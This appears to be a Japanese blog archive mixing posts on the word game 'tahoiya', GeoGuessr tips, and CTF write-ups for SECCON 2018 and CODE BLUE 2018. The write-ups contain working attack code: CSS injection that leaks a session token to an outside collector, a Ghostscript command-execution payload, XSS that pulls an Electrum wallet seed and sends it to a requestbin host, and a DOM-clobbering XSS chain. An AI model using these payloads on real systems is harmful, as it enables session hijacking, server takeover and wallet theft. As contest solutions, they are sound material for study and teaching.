博多電光

blog.hkt.sh

知的ゲーム「たほいや」のすすめ

※この記事は TSG Advent Calendar 2018 1日目のエントリです。

adventar.org


博多市が所属しているサークルTSGでは、最近「たほいや」という遊びが流行している。

TSGのSlackではこの「たほいや」を遊べるBOTが生息しており、稼働から半年足らずであるにもかかわらずすでに部員により500回近い回数の「たほいや」が行われている。

この遊びは辞書を使って行う知的なゲームで、プログラミングと直接関係はないものの参加者の文章力や駆け引き力が問われる面白いゲームなので、ぜひ多くの人に遊んでもらいたい。

ここではそんな「たほいや」の魅力について語っていきたいと思う。

たほいや」とは?

一言で言うと、知らない単語の「嘘の」意味を考えて他のプレイヤーを引っ掛けるゲームである。

まず、出題者が辞書を読み、その中から「誰も知らなさそうなマイナーな単語」を1つ選ぶ。

f:id:hakatashi:20181201230635p:plain

ここでは例えば、「おごねく」という単語を選んだとする。

次に、出題者以外の参加者はお題の単語の「それっぽい」意味を考え、出題者に提出する。

f:id:hakatashi:20181201230744p:plain

例えば、「おごねく」に対して「媚びを売ること」という意味を考えたとする。

全員分の意味が集まったら、出題者はお題の単語の正しい意味と参加者が考えた意味をシャッフルし、選択肢として全員に公開する。

f:id:hakatashi:20181201231155p:plain

参加者は選択肢の中から、お題の単語の正しい意味だと思うものを1つ選び、コインをBETする。

選んだ意味が正しい意味ならBETしたのと同じ枚数を貰え、間違っていた場合BETした枚数がその意味を書いた人に奪われる。つまり正しい意味を見つけてもコインが貰えるし、それらしい意味を書いて他の人を引っ掛けてもコインが貰えるという道理である。

ちなみに「おごねく」の正しい意味は「ダイアクリティカルマークのひとつ」である。

f:id:hakatashi:20181201234626p:plain

このように、他人を引っ掛ける楽しさや日本語を用いて遊ぶ楽しさはもちろん、知らなかった単語を知ることによって教養も得られる素晴らしいゲームである。

この遊びは英語圏でfictionaryという名称で親しまれている遊びをローカライズしたもので、詳しい説明や由来はWikipediaに記載されているのでぜひ読んで頂きたい。

たほいやbot

で、このゲームは本来アナログで集まって遊ぶゲームなのだが、お題の出題者がいないと始まらないなどいろいろと不便なので、TSGのSlackのあるチャンネルでは「たほいやbot」なるBOTが生息しており、出題者がいなくてもいつでもたほいやを遊ぶことができるようになっている。

まず、「たほいや」と発言すると「たほいやbot」がお題の候補となる単語を10個挙げてくれる。

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この単語はWikipediaウィクショナリーニコニコ大百科などの辞書データから自動的に生成された単語集である。

この中から「誰も知らなさそうな単語」を1つ選んでタイプすると自動的ににたほいやが始まる。

f:id:hakatashi:20181202002543p:plain

このたほいやに参加したい人は、たほいやBOTに対してDMで「偽の意味」を送信する。

f:id:hakatashi:20181202002850p:plain

3分経つと登録が締め切られ、参加者が登録した「偽の意味」と「正しい意味」がシャッフルされて選択肢として表示される。

f:id:hakatashi:20181202003043p:plain

この選択肢の中には、「ランダムに選ばれたお題と全く関係ない単語の意味」と「お題の単語とのレーベンシュタイン距離が最小の単語の意味」が混じっており、参加者を惑わせる。

参加者はこのお題の正しい意味だと思うものを一つ選び、再びたほいやbotにDMを送信する。

f:id:hakatashi:20181202003934p:plain

全員分のBETが出揃うと正しい意味が公開され、コインの精算処理が行われます。画像には映っていませんが、たほいやの成績ランキングなども同時に公開される。

このBOTが稼働開始してから、TSGのメンバーは日夜たほいやを繰り広げており、今までの総対戦数は500回近くに及んでいる。ちなみに対戦ログはGistで公開されているので誰でも読むことができる。

[TSG] たほいや対戦ログ 第1回~第100回 · GitHub

たほいやbotソースコードはこちら。

slackbot/tahoiya at master · tsg-ut/slackbot · GitHub

デイリーたほいや

このたほいやbotで出題されるお題は、辞書に載っている単語からほぼランダムに選ばれるため、ただの人名や地名などの、あまり面白みのない単語が出題されることも多く、それはそれで面白いのですがクオリティ的には今ひとつな面もある。

そこで、10月頃から稼働開始した「デイリーたほいや」という機能では、あらかじめお題となる単語を誰かが考えて登録しておくことによって、たほいやのもう一つの側面である「不思議で聞き慣れないけど面白い単語」と出会うことができるようになっている。

f:id:hakatashi:20181202004855p:plain

デイリーたほいやにおいてお題を考える時間は90分あるので、通常のたほいやより多くの人が参加することが多い。参加者は普段のたほいやよりもよく考えて意味をひねり出すため、選択肢のクオリティが総じて高く、たほいやの難易度が高くなる。

f:id:hakatashi:20181202005853p:plain

デイリーたほいやが終了すると、お題の単語の意味を元に会話が発展したりさらなるたほいやが発生したりする。たほいやを通して上級生と下級生との交流も進んでおり、今やTSGにおいて重要なコミュニケーション手段の一つとなっているのである (???)。

TSGたほいや過去問集

そんなTSGで行われた「たほいや」の過去問から、特に面白いものをいくつかセレクトしたので、みなさんもこれを見てお題の正しい意味がどれなのか考えて頂きたい。(答えはリンクをクリックした先にあります)

てぃてぃ

  1. ケニアに住む部族
  2. おもに中国で使われる天板が回転する食卓
  3. ソロモン72柱の序列11位に位置する悪魔
  4. インドやチベットなどの暦で使われる時間の単位
  5. 人口1,968人のイタリア共和国サルデーニャ州オルビア=テンピオ県のコムーネの一つ
  6. イタリアの競走馬

つかはらだいに

  1. 2012年9月8日から2013年6月9日まで放送された韓国KBSのテレビドラマ
  2. 原恵一組曲『日本狂想曲』の第二楽章
  3. 日本の外交官
  4. つかはらゆうきと爆裂体操第二によるデュオユニット
  5. 桜堤

さがせる

  1. 樺太大泊郡に所在
  2. 南関町熊本市など県北部で焼かれる陶器
  3. 株式会社ニフティが2006年10月まで運営していた総合ポータルサイト
  4. 佐賀有毒自然物質研究所が発行する季刊誌
  5. 佐賀医科大学の辻元研究室が発見した海藻類の歯葉を再生するために働く細胞
  6. コートジボワール
  7. アトムランソリューションズ株式会社が石川県に発行している無料月刊クーポン誌

どんむせん

  1. 長野県安曇野市安曇野駅から東京都武蔵小金井市の武蔵小金井駅を結ぶ東日本旅客鉄道鉄道路線
  2. ドイツの技術者ドン=マークによって発明された無線技術
  3. パーリ仏典経蔵中部に収録されている第26経
  4. オランダの首都アムステルダムの南部に隣接する工業都市
  5. バイキングが侵略の際に用いた船
  6. 岐阜県にある路線の名前
  7. 本名・高橋正子
  8. 中インド出身の訳僧

とやがえる

  1. ジャイナ教八天使のうちの一柱
  2. 関漢卿によって書かれた元曲
  3. 境界や国境がない、または意味をなさないこと
  4. 夏の末、鳥屋にいるタカの羽が抜けかわる
  5. うずらソフトより発売されているテレビゲームソフト、ソフィスティケイトの主人公、戸谷替真一がしそうな行動を揶揄する造語
  6. 罪人の魂が死後四十九日を待たずして黄泉の国へ行くこと
  7. 漁夫の利を参照
  8. 道半ばで引き返すことのたとえ

まとめ

このように、TSGで流行している「たほいや」は楽しい遊びである。暇があればこの「たほいやbot」もHubotなどの形で他のSlackに移植しやすい形に改造するので、みなさんも是非ご自分のSlackにこのbotを導入してたほいや沼にずぶずぶとハマってもらいたい。

最後に、記事の途中に出てきた「どっとはらい」の正しい意味だが⋯⋯

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というわけで、みなさんも一度たほいやをやってみよう、どっとはらい

SECCON 2018 Quals write-up (Unzip, GhostKingdom, Needle in a haystack, QRChecker, Electrum Kamuy)

チームTSGとして出場しました。世界2位です。CBCTFといいSECCONといい最近TSGが凄い。

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TSGとは?

東京大学のコンピューター系サークル (の1つ) です。東大生からの部員募集中。

東京大学コンピュータ系サークル TSG

チームメンバー

TSGお得意の人海戦術を駆使。本戦に弱いのもさもありなんといった感じである。

ちなみにlmt_swallowくんはチームdodododoに浮気したのでいません。

TSGの他メンバーのWriteup

cookies.hatenablog.jp

qiita.com

moraprogramming.hateblo.jp

このエントリでは僕がsubmitした問題と貢献度の大きい問題のwriteupを書きます。

Unzip (Forensics, 101pts)

初心者枠。5分47秒で通した。

$ cd unzip

$ ll
total 134K
drwxr-xr-x 1 denjj 197609   0 Oct 28 19:05 .
drwxr-xr-x 1 denjj 197609   0 Oct 28 18:56 ..
-rw-r--r-- 1 denjj 197609 225 Oct 27 00:10 flag.zip
-rw-r--r-- 1 denjj 197609  99 Oct 27 00:10 makefile.sh

$ cat makefile.sh
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

$ 7z l ../unzip.zip

7-Zip [64] 16.04 : Copyright (c) 1999-2016 Igor Pavlov : 2016-10-04

Scanning the drive for archives:
1 file, 627 bytes (1 KiB)

Listing archive: unzip.zip

--
Path = unzip.zip
Type = zip
Physical Size = 627

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-10-27 00:10:41 .....          225          225  flag.zip
2018-10-27 00:10:06 .....           99           86  makefile.sh
------------------- ----- ------------ ------------  ------------------------
2018-10-27 00:10:41                324          311  2 files

$ node
> new Date(' 2018-10-27 00:10:41')
2018-10-26T15:10:41.000Z
> new Date(' 2018-10-27 00:10:41').getTime()
1540566641000

flag.zipをパスワード「1540566641」で解凍して SECCON{We1c0me_2_SECCONCTF2o18}

GhostKingdom (Web, 248pts)

f:id:hakatashi:20181028190958p:plain

今大会唯一 (???) のWeb問。kcz146, liesegang と僕などで解いた。

"Take a screenshot" から任意のURLを入力し、ウェブページのスクリーンショットを取得することができる。

"Message to admin" のプレビューページからページ内に任意のCSSをインジェクトできる。storedではない。HTMLエスケープされているのでCSS以外をインジェクトすることはできない。

画像の通り "Upload image" はローカルからしかアクセスできない。

まず、このウェブサイトのログインはGETで実装されているので、Take a screenshot からログインさせることができる。

http://ghostkingdom.pwn.seccon.jp/?user=hogehoge&pass=fugafuga&action=login をキャプチャした様子

f:id:hakatashi:20181028191549p:plain

Upload image は依然としてアクセスできない。そこでホスト名をlocalhostなどにしてアクセスしてみると、フィルターで弾かれる。

f:id:hakatashi:20181028191733p:plain

kczのアイデアで、IPアドレスの長整数表現を用いることによって回避。http://2130706433/http://127.0.0.1/ と等価である。ちなみに (これもkcz146が) あとから気づいたが、127.0.0.1に解決されるようなドメインを立てても回避できる。

http://2130706433/?user=hogehoge&pass=fugafuga&action=login をキャプチャすると、Upload image がリンクになっていることが確認できる。

f:id:hakatashi:20181028192110p:plain

ここから Upload image のリンク先アドレスを知る (および、アクセス権を得る) ためにだいぶ悩んだが、しばらくして Message to admin のCSSインジェクションを用いる方法を思いついた。

Message to admin のプレビューページにはcsrfなるパラメーターが埋め込まれているが、これは実はCookieにストアされているセッションIDと同一の値である。つまり、Take a screenshot からここのvalueの値を取得することによって、ローカルでログインしたセッションのIDを取得することができ、(若干のエスパーがあるが) 全てのページにアクセスできることになる。

f:id:hakatashi:20181028192354p:plain

この手法はCSSインジェクションによる属性リークとして知られており、最近だとdodododoに浮気したlmt_swallowが書いた資料にわかりやすく解説されている。

speakerdeck.com

今回のexploitでは、以下のようなCSSを投げつけることによって1文字ずつセッションIDを取得することができる。

input[name="csrf"][value^="e0"]{background:url(http://postb.in/b4RvhDMW?e0)}
input[name="csrf"][value^="e1"]{background:url(http://postb.in/b4RvhDMW?e1)}
input[name="csrf"][value^="e2"]{background:url(http://postb.in/b4RvhDMW?e2)}
input[name="csrf"][value^="e3"]{background:url(http://postb.in/b4RvhDMW?e3)}
input[name="csrf"][value^="e4"]{background:url(http://postb.in/b4RvhDMW?e4)}
input[name="csrf"][value^="e5"]{background:url(http://postb.in/b4RvhDMW?e5)}
input[name="csrf"][value^="e6"]{background:url(http://postb.in/b4RvhDMW?e6)}
input[name="csrf"][value^="e7"]{background:url(http://postb.in/b4RvhDMW?e7)}
input[name="csrf"][value^="e8"]{background:url(http://postb.in/b4RvhDMW?e8)}
input[name="csrf"][value^="e9"]{background:url(http://postb.in/b4RvhDMW?e9)}
input[name="csrf"][value^="ea"]{background:url(http://postb.in/b4RvhDMW?ea)}
input[name="csrf"][value^="eb"]{background:url(http://postb.in/b4RvhDMW?eb)}
input[name="csrf"][value^="ec"]{background:url(http://postb.in/b4RvhDMW?ec)}
input[name="csrf"][value^="ed"]{background:url(http://postb.in/b4RvhDMW?ed)}
input[name="csrf"][value^="ee"]{background:url(http://postb.in/b4RvhDMW?ee)}
input[name="csrf"][value^="ef"]{background:url(http://postb.in/b4RvhDMW?ef)}

取得したセッションIDをCookieにセットしてアクセスすると、Upload image ページにアクセスすることができる。

アクセスした先のページでは、JPGをアップロードするとGIFに変換することができる。ファイルをアップロードしたときのエラーメッセージから、ImageMagickのconvertコマンドを使っていることが推測できた。

Error: /invalidaccess in --.putdeviceprops--
(省略)
Current allocation mode is local
Current file position is 514
GPL Ghostscript 9.07: Unrecoverable error, exit code 1
convert: Postscript delegate failed `/var/www/html/images/10c125762d9f1a2c442a41291fbddf3e.jpg': No such file or directory @ error/ps.c/ReadPSImage/832.
convert: no images defined `/var/www/html/images/10c125762d9f1a2c442a41291fbddf3e.gif' @ error/convert.c/ConvertImageCommand/3046.

ImageMagickの変換コマンドでは、GhostScriptを用いることでサーバーで任意コマンドを実行することができる (1ヶ月前の Tokyo Westerns CTF でも出題されたばかり)。しかし今回は上の通りこの手法だとアクセスが弾かれてしまう。

しばらく悩んでいたところ、liesegangがGhostScriptの脆弱性を発見してくれた (実は上のWriteupからもリンクが引かれている)。

news.mynavi.jp

この脆弱性のexploitを見てみると、まさしくJPGからGIFに変換するときの攻撃例が示されていたので、ビンゴと確信。無事任意コマンド実行に繋げて、lsコマンドを発行してFLAGの場所を特定した。

最終的な攻撃コードは以下の通り。

$ cat temp.jpg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops

フラグのURL http://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txt が得られ、フラグは SECCON{CSSinjection+GhostScript/ImageMagickRCE}

Needle in a haystack (Media, 319pts)

SECCON2016の手旗信号の再来。

www.youtube.com

大坂の街を撮影した9時間の定点観測映像が与えられる。なんじゃこりゃ。

とりあえず問題名が Needle in a haystack ということで、膨大なフレームの中にフラグが記されたフレームが混じってるのではないかと推測し、異常検知の手法をいろいろと試すが成果は得られず。最終的に動画中の全てのキーフレーム約6000枚を抽出し、マンパワーで全てを確認した。

が、異常なフレームは確認できず、行き詰まっていたところ、画面右下のビルの一室がやたらチカチカと明滅を繰り返していることに気づく。

www.youtube.com

f:id:hakatashi:20181028200310j:plain

一晩のうちに何十回も点灯と消灯を繰り返している。怪しい。

早送りして確認すると、明らかにモールス信号を発信している。そして途中で夜が明けると部屋の電気ではなくカーテンを開け閉めし始める。やばい。

daiが自動化で頑張ってくれたが、人間の手で復号化したほうが早かった。トランスクリプトは以下の通り。

... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- .- -....- ... . -.-. .-. . - -....- -- ... ... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- ... ... .- --. . -....- -... .-. --- .- -.. -.-. .- ... - ... -....- -.... --- .-.. -.. .-.. -.-- -.--.

復号すると以下のようになる。

SECCON(SOMETIMES-A-SECRET-MSSAGE-BROADCASTS-6OLDLY(

明らかに読み取りを間違えている部分を修正し、以下でaccept。

SECCON(SOMETIMES-A-SECRET-MESSAGE-BROADCASTS-BOLDLY)

QRChecker (QR, 222pts)

なーにがジャンル: QRじゃ~~

以下のソースコードで動くウェブサイトが与えられる。

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
print("Content-Type: text/html")
print("")
codes = set()
sizes = [500, 250, 100, 50]
print('<html><body>')
print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">')
print('<input type="file" name="uploadFile"/>')
print('<input type="submit" value="submit"/>')
print('</form>')
print('<pre>')
try:
    form = cgi.FieldStorage()
    data = form["uploadFile"].file.read(1024 * 256)
    image= Image.open(io.BytesIO(data))
    for sz in sizes:
        image = image.resize((sz, sz))
        result= zbarlight.scan_codes('qrcode', image)
        if result == None:
            break
        if 1 < len(result):
            break
        codes.add(result[0])
    for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")
except:
    pass
print('</pre>')
print('</body></html>')

読むと、アップロードされた画像を順に 500px, 250px, 100px, 50px に縮小し、QRコードとして読み取って、前と異なるテキストとして読み取らせたらフラグが降ってくるという仕様のようである。1枚の画像に2つ以上のQRコードが検出されると読み取ってくれない。

Pillowの画像縮小の仕組みを利用し、以下のような画像を生成した。

f:id:hakatashi:20181028201138p:plain

真ん中のQRコードが「hoge」、ドットに分割されてる右下のQRコードが「fuga」である。無事accept。

SECCON{50d7bc7542b5837a7c5b94cf2446b848}

Electrum Kamuy (Crypto, 455pts)

Cryptoとはいったい⋯⋯? 明らかにWeb問である。

Electrum Kamuy なるウェブサイトが与えられる。「タトゥー」や「のっぺらぼう」など、明らかにゴールデンカムイが意識されているが本題とは関係ない。

「このウェブサイトに隠された24個のキーワード」を収集するとフラグが手に入るという触れ書き。ページのソースコードを見ると実際にいくつかのキーワードがコメントアウトで記されていることがわかる。bitcoinの文脈から、「24個のキーワード」というのはBitcoinmnemonic words のことではないかと推測。

ここからウェブサイトをひたすら調査してキーワードがないか探したが、最初のいくつかのキーワード以外は全く見つからない。ウェブサイトはWordPressで構築されているが主要なページ以外はすべてアクセスが弾かれるため、exploitになりそうなところも全く見当たらない。これで8時間ほど時間を溶かした。

で、ウェブサイトの記述によると、このウェブサイトの所有者は「Electrumによるbitcoinウォレットを持っており」、「今年1月からソフトウェアのアップデートをしておらず」「持っているPCにパスワードをかけていない」ということが暗に示されている。ちなみにこの所有者のPCというのはウェブサイトのサーバーとは別のマシンである。

で、satosに相談したところ、2018年1月に公開されたElectrumの重大な脆弱性を見つけてくれた。この脆弱性は、Electrumのウォレットに「パスワード保護をしていない場合」、JSONRPC API が使い放題になるという途方もない脆弱性らしい。

これが想定解だと確信、その後ウェブサイトのフォームから </textarea> でHTMLをインジェクションできることを確認し、インジェクトしたURLを踏ませることによってサーバーからアクセスが飛んでくることを確認した。

が、このアドレスにアクセスしてもElectrumのAPIにはアクセスできない。ローカルから攻撃させる必要があることに思い至り、exploitコードをフォームから送信することにした。攻撃コードは以下の通り。

</textarea><script>
const post = async ({url, headers, body, timeout}) => {
  return new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest();
    xhr.open('POST', url);
    xhr.timeout = timeout;
    xhr.onload = () => {
      if (xhr.status >= 200 && xhr.status < 300) {
        resolve(xhr.responseText);
      } else {
        reject({
          status: xhr.status,
          statusText: xhr.statusText
        });
      }
    };
    xhr.onerror = () => {
      reject({
        status: xhr.status,
        statusText: xhr.statusText
      });
    };
    xhr.ontimeout = () => {
      reject({
        status: xhr.status,
        statusText: xhr.statusText
      });
    };
    Object.keys(headers).forEach(key => {
      xhr.setRequestHeader(key, headers[key]);
    });
    xhr.send(body);
  });
};


post({
    url: `http://localhost:51337`,
    headers: {
      'accept': 'application/json-rpc',
      'content-type': 'application/json-rpc'
    },
    body: JSON.stringify({
      id: 1,
      method: 'getseed',
      params: {}
    }),
    timeout: 1000
  }).then((responseText) => {
    fetch("http://requestbin.fullcontact.com/16fs9mg1/" + responseText)
  });
</script><textarea>

ここから、Electrumのシード値が取得できる。

??? wealth bread squirrel sort urban paddle panic company material butter tilt city hobby seven sample caution ivory cup because piece crime mixture artwork

最初のキーワードが伏せられているが、問題の説明からシードのエントロピーの最初の数文字がわかっているので、2048通りを全探索することによって元のキーワードを復元できる。すでにmnemonicを解いていたlip_of_cygnusが一瞬で解いてくれた。

SECCON{2e36c3919822de3223e55efd8425f055}

総評

GhostKingdomは今大会では比較的良問だが、悪問要素も多い。

  • スクリーンショットを撮るという行為にあまり必然性がない (Upload image がリンクになっていることが確認できる程度)
  • セッションIDとcsrfトークンの一致に気づかないといけない
  • セッションIDの挙動 (一度でもローカルからのアクセスがあるとフラグが立つ?) をエスパーしないといけない
  • 問題の前半と後半に全く関連性がない
  • GhostScript部分は公開されているexploitをそのまま流用すれば一瞬で解けてしまう

Needle in a haystack は、発想は面白いがやはり理不尽な気づきを要求されるという点が微妙 (手旗信号はそういう意味ではやることは自明だったので)。問題名のミスリーディングもやめてほしい。あとYouTubeから数GBもダウンロードしないといけないのは如何なるものか (せめてSECCONでホストしたほうがいいと思われる)。

QRChecker、ツッコミどころというほどのツッコミどころはない。発想が面白いし、回答に至るまでのプロセスが複数ありうるところも含めていい問題ではないかと思う。

Electrum Kamuy、誘導がやや不十分。「このサイトに隠された」というメッセージや無駄に複雑なウェブサイトによるミスリーディングが悪質。Cryptoとはいったい。

pwnやrevは良問が多かったらしい (専門外なので伝聞) が、それ以外はとても近年のCTF大会の平均的水準を満たしてるとは言い難い。ちなみにここでは解説しないが、tctlToyは特に近年稀に見るレベルの💩💩💩だった (daiさんがwriteupを書いてくれるはず)。

【追記】書いてくれました

GeoGuessrで勝つためのメモ (世界編)

最近、自分の周りでGeoGuessrが久しぶりに流行っています。勝つためのTipsをいろいろと調べた (勝てているとは言っていない) ので、いくつか残しておきます。

なお博多市は地誌学・社会学言語学・気象学・生態学の素人なので、おかしな点が多々ありますがご了承ください。

Googleストリートビューのカバー範囲

いかにGoogleといえど流石に世界のすべての地域をカバーしているわけではないので、必然的に絶対に出題されない地域というのが存在します。

下の画像は、2018年8月現在のGoogleストリートビューのカバー範囲です。

f:id:hakatashi:20180818210631p:plain

アフリカ・中東・中国の農村部は大部分がカバー範囲外ということがわかります。これらの地域がGeoGuessrで出題されることはほとんどありえないので、これらの場所にピンを立てるのは良い戦略ではありません。

f:id:hakatashi:20180819034123p:plain

また、ドイツとオーストリアではプライバシー保護法の規制によりストリートビューが公開されていません。よってGeoGuessrでドイツ語を見つけたら高確率でスイスです。

ちなみに一昔前はインドや東南アジアなどの地域がほとんどカバーされていなかったのですが、Googleの努力により現在はほぼ全域がカバーされています。

右側通行と左側通行

GeoGuessrはストリートビューを用いたゲームなので、道路が右側通行か左側通行かというのは大きな手がかりになります。世界的には右側通行が主流ですが、日本を始めとする多くの主要な国が左側通行を採用しているため、右と左の出現割合は2:1程度に感じます。特に似たような風景が多いオーストラリアとアメリカを区別できるのは大きいです。

File:Countries driving on the left or right.svg by Benjamin D. Esham

左側通行を採用している国のうち、主要なものは以下のとおりです。

言語

ドイツ語

もう雰囲気が完全にドイツ語って感じです。声に出して読んだ時に中二病っぽかったらドイツ語。

あと、ウムラウトのついた Ä, Ö, Ü を多用します。

f:id:hakatashi:20180819034913p:plain

フランス語、スペイン語、イタリア語

この3つの言語は見た目がよく似ています。頻出単語を3つくらい覚えておきましょう。こんな感じ。

英語 フランス語 スペイン語 イタリア語
and et y e
is es est è
of de de di

冠詞類は出現頻度は高いのですが、種類が多いので意外と区別できません。

  • フランス語: le, la, les, l’
  • スペイン語: el, los, la, las
  • イタリア語: il, i, lo, gli, l', la, le

オランダ語

ドイツ語と似ていますが、“ij”の2字が頻繁に連接します。

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アフリカーンス語

南アフリカ共和国公用語です。オランダ語と似ていますが“ij”の代わりに“y”と表記します。

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ポルトガル語

ポルトガルではなくブラジルで主に使われているポルトガル語は、スペイン語と酷似していることで有名です。

ポルトガル語スペイン語よりもアルファベットが多く、特にスペイン語にないÃやÇが多用されます。特にÃ (チルダ付きのA) はポルトガル語に特徴的な文字なので、見つけたら高確率でブラジルです。

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フィンランド語、スウェーデン語、ノルウェー語、デンマーク

スカンジナビア系に特徴的なÅの文字を見つけたらこれらの北欧系の言語のどれかです。

これらの言語は体系がほぼ同じなので区別するのは非常に難しいですが、見分けるポイントとして、ÄもしくはÖが見つかればフィンランド語かスウェーデン語、ÆもしくはØが見つかればノルウェー語かデンマーク語です。

このうち、フィンランド語とスウェーデン語は慣れるとすぐに区別がつくようになります。やたらと単語が長く、同じ母音が連続して出現するのがフィンランド語、そうでないのがスウェーデン語です。下の画像はフィンランド語。

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ノルウェー語とデンマーク語の区別を実用的なレベルで身につけるのは、たぶん非常に難しいですが、いちおう以下のようなサイトが参考になります。

ロシア語、ウクライナ語、モンゴル語

キリル文字が使われているからと言ってロシア語とは限りません。ストリートビューのカバー範囲内では、ウクライナやモンゴルなども候補に挙がります。これらを区別できるとぐっと勝率が上がります。

これらの言語では使用される文字が違います。Ґ, Ї, Є の3文字はウクライナ語固有の文字、Ө, Ү はモンゴル語固有の文字、Ы, Ё はロシア語固有の文字です。

TODO: 追記する

植生

植生から地域を読み解くのはだいぶ厳しいですが、たまに役立ちます。特にアメリカは西部・中部・東部で気候が全く違うので雰囲気も結構違います。

植生による世界の気候区分は以下の通り。

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Map of Biome Locations in the World - Temperate Deciduous Forest

とくに景観から判断しやすいのはこのあたりです。

落葉樹林

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ポーランド キェルツェ

針葉樹林

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カナダ ヨーホー国立公園

ステップ

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アメリカ ダイナソー国定公園

熱帯林

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ブラジル マナウス

サバンナ

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南アフリカ共和国 クリスティアナ

針葉樹林のほうが落葉樹林より緯度が高いことだけでも覚えておくとよいと思います。

ヤードポンド法

ご存知の通り、ヤードポンド法を採用しているのは世界でアメリカのみです。運良くマイル表記の看板を見つけたらアメリカとカナダの区別が付きます。

f:id:hakatashi:20180819023319p:plain

アメリカ アイオワ州

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アメリカ ノースダコタ州

このタイプの看板で単位が書いてないやつはだいたい MPH (=Mile Per Hour) です。

CODEBLUE CTF 2018 Quals - Scrap Square v1.0 & v1.1 Writeup

Scrap Square v1.0 - Web

Kamogawa created an application to record memo and he stored a secret memo.
He showed it to Katsuragawa and he learned CSP is cool.
If you find a issue, please report it.

URL: http://v10.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.0.zip
Admin browser: admin.zip

A simple scrap storage service is given with complete source code.

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f:id:hakatashi:20180801064101p:plain

Step 1: XSS and injection of unused JS file

From description the flag is admin's scrap and obviously the "Report this scrap" feature and XSS is the key. CSP is the following.

default-src 'none';
script-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js https://code.jquery.com/jquery-3.3.1.min.js http://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/;
style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css;
img-src 'self';
frame-src https://www.google.com/recaptcha/;
connect-src 'self'

So inline script etc won't work at all and we should load valid js file from the same origin. Fortunately, mysterious JS file is found in the source soon.

// app/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js
const timer = setInterval(() => {
  if ($('.scrap-body').length === 0) {
    return;
  }

  clearInterval(timer)
  if ($('.scrap-body').text().includes(window.banword || '')) {
    reportScrap()
  }
}, 300)

This file is not loaded into the application. Fortunately, easy XSS can be found in username.

// app/views/scrap.pug
extends layout.pug

block content
  div.scrap-wrapper
    p!= `${user.name}'s scraps'`

Pug's != operator embeds string dangerously, and can be easily pissed off. Then we can inject the following code into HTML.

<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>

Step 2: Inject arbitrary script

We wondered how scrap body is served. After searching code we can find following code.

// app/src/index.js:102
  const staticBaseUri = '/static'
  const staticDir = path.join(__dirname, '..', 'static')
  const rawStaticDir = path.join(staticDir, 'raw')
  app.use(staticBaseUri, express.static(staticDir))

express.static() serves files statically. This is the feature of express.js and it recognizes file extension. In this case, scrap title is directly used as filename, so we can name scrap "foobar.js" and it is immediately served as Content-Type: text/javascript.

Now we can upload arbitrary file as script and inject it with username XSS.

<script src="/scraps/raw/<USERID>/foobar.js"></script>

But the limitation is so tense. Body shouldn't match /[^0-9a-zA-Z '.\n\r/-]/ and that's the limitation of our injection script.

Step 3: Hack into the URL parser

Now we can make admin report some scraps to somewhere. The reported scrap is loaded here.

// app/static/javascripts/load-scrap.js
const urls = location.href.split('/')
const user = urls[urls.length - 2]
const title = urls[urls.length - 1]

// show title
const scrapTitle = $('<h1 class="scrap-title">')
scrapTitle.text(title)
$('.scrap-header').append(scrapTitle)

// show body
$.get(`/static/raw/${user}/${title}`)
  .then(c => {
    const scrapBody = $('<pre class="scrap-body">')
    scrapBody.text(c)
    $('.scrap-wrapper').append(scrapBody)
  })

location.href.split seems very dumb, and can be hacked by the following URL.

# Script loads `/scraps/raw/AAAAAAAA/AAAA`, not `/scraps/raw/aaaaaaaa/aaaa`
https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/AAAAAAAA/AAAA

And more significantly, replacing it with .. can load root URL, which includes list of user's scraps.

# Script loads `/scraps/raw/../..` = `/`, not `/scraps/raw/aaaaaaaa/aaaa`
https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/../..

Step 4: Deletion of global variable

Then we can load admin's scrap list and call reportScrap() after them. reportScrap() is called here.

// app/static/javascripts/report-scrap.js
  if ($('.scrap-body').text().includes(window.banword || '')) {
    reportScrap()
  }

window.banword is defined as window.banword = 'give me flag' in config.js. So, that string should be included in target to report that, but seems no chance.

After straggling, we could reset it with following inject code.

delete window.banword

Then the report should be go through unconditionally.

Step 5: Pollution of global variable with form tag

Finally, reportScrap() is defined as follows.

// app/static/javascripts/report-scrap.js
window.reportScrap = (captcha) => {
  return $.post('/report', {
    to: window.admin.id,
    url: location.href,
    'g-recaptcha-response': captcha,
    title: $('.scrap-title').text(),
    body: $('.scrap-body').text()
  })
}

If we override window.admin.id, the report is directed toward us and we can view the content of the report, which happily includes scrap's body.

And id is the key. We can overwrite window.admin by the following HTML.

<form id="<USERID>" name="admin"></form>

This HTML defines window.admin as that form tag, and admin.id points to its id attribute, which equals to <USERID>.

Then we can change the direction of report submission which includes list of admin's scraps. Final hacking procedure is the following.

  1. Register on service, and upload following scrap with title a.js

    delete window.banword delete window.admin

  2. Register another user with the following username ( is the previous user id)

    <script src="/static/raw/<USERID>/a.js"></script><script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script><form id="<USERID>" name="admin"></form>

  3. Upload some scrap, and add strange query string to that URL.

    http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/<USERID2>/foobar?a/../..

  4. Report that page to the admin

